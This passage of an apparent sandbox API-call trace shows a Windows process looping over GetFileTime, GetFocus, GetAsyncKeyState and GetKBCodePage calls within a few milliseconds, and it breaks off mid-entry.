GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.656] GetFocus () returned 0x0 [0032.656] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.657] GetFocus () returned 0x0 [0032.657] GetAsyncKeyState (vKey=58) returned 0 [0032.657] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.658] GetFocus () returned 0x0 [0032.658] GetAsyncKeyState (vKey=58) returned 0 [0032.658] GetKBCodePage () returned 0x1b5 [0032.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.659] GetAsyncKeyState (vKey=58) returned 0 [0032.659] GetKBCodePage () returned 0x1b5 [0032.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.659] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.660] GetFocus () returned 0x0 [0032.660] GetAsyncKeyState (vKey=58) returned 0 [0032.660] GetKBCodePage () returned 0x1b5 [0032.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 